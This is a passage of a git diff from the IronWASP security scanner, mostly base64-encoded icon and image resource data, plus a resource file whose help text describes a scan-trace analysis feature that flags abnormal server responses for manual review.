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 + + + \ No newline at end of file diff --git a/IronWASP/ScanTraceBehaviourAnalysis.Designer.cs b/Iron/ScanTraceBehaviourAnalysis.Designer.cs similarity index 100% rename from IronWASP/ScanTraceBehaviourAnalysis.Designer.cs rename to Iron/ScanTraceBehaviourAnalysis.Designer.cs diff --git a/IronWASP/ScanTraceBehaviourAnalysis.cs b/Iron/ScanTraceBehaviourAnalysis.cs similarity index 100% rename from IronWASP/ScanTraceBehaviourAnalysis.cs rename to Iron/ScanTraceBehaviourAnalysis.cs diff --git a/Iron/ScanTraceBehaviourAnalysis.resx b/Iron/ScanTraceBehaviourAnalysis.resx new file mode 100644 index 0000000..1f49276 --- /dev/null +++ b/Iron/ScanTraceBehaviourAnalysis.resx @@ -0,0 +1,2038 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + IronWASP's scanning engine sends a lot of different payloads to the server and analyzes the responses to detect the presence of vulnerabilities. + +Sometimes a payload could have caused the server to respond in an abnormal way but still IronWASP might not report it as an issue because the behaviour did not fit in to any of the preprogrammed response templates indicating a vulnerability. + +If a manual tester looks at this abnormal response then he/she might be able to use their security and application knowledge to determine if this is a harmless variation or an indicator towards a potential vulnerability on the server. + +You can start a payload effect analysis that will go through the Scan Trace and report all interesting variations to you for manual analysis. + +Select the Scan Traces that must be analyzed that click on the 'Start Analysis' button. Let's hope you end up discovering some False Negatives! + + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 